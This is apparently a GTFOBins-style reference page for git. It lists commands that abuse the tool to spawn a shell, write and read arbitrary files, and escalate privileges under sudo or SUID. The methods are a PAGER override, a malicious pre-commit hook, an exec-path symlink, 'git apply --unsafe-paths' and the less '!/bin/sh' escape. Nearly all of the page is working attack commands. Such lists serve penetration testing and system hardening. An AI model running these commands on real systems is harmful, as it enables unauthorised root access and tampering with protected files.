Shell

This executable can spawn an interactive system shell.
  1. This function can be performed by any unprivileged user.
    PAGER='/bin/sh -c "exec sh 0<&1"' git -p help
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    PAGER='/bin/sh -c "exec sh 0<&1"' git -p help
  2. CommentGit hooks are merely shell scripts and in the following example the hook associated to the pre-commit action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used, and moving into the directory works too.
    This function can be performed by any unprivileged user.
    git init .
    echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
    chmod +x .git/hooks/pre-commit
    git -C . commit --allow-empty -m x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    git init .
    echo 'exec /bin/sh 0<&2 1>&2' >.git/hooks/pre-commit
    chmod +x .git/hooks/pre-commit
    git -C . commit --allow-empty -m x
  3. This function can be performed by any unprivileged user.
    ln -s /bin/sh git-x
    git --exec-path=. x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    ln -s /bin/sh git-x
    git --exec-path=. x
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    RemarksThis executable runs commands directly, e.g., via functions like exec, remember to omit the -p argument of every /bin/sh invocation for distributions where the default shell does not drop SUID privileges.
    ln -s /bin/sh git-x
    git --exec-path=. x -p

File write

This executable can write data to local files.
  1. Comment

    The patch can be created locally by creating the file that will be written on the target using its absolute path:

    echo DATA >/path/to/input-file
    git diff /dev/null /path/to/input-file >x.patch
    
    This function can be performed by any unprivileged user.
    git apply --unsafe-paths --directory / x.patch
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    git apply --unsafe-paths --directory / x.patch
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    git apply --unsafe-paths --directory / x.patch

File read

This executable can read data from local files.
  1. CommentThe read file content is displayed in diff style output format.
    This function can be performed by any unprivileged user.
    git diff /dev/null /path/to/input-file
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    git diff /dev/null /path/to/input-file
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    git diff /dev/null /path/to/input-file

Inherit

This executable can inherit functions from another.
  1. This function can be performed by any unprivileged user.
    git help config
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    git help config
    Functions

    Inherits from less, thus possibly granting its functions.

  2. CommentThe help system can also be reached from any git command, e.g., git branch.
    This function can be performed by any unprivileged user.
    git branch --help config
    !/bin/sh
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    git branch --help config
    !/bin/sh
    Functions

    Inherits from less, thus possibly granting its functions.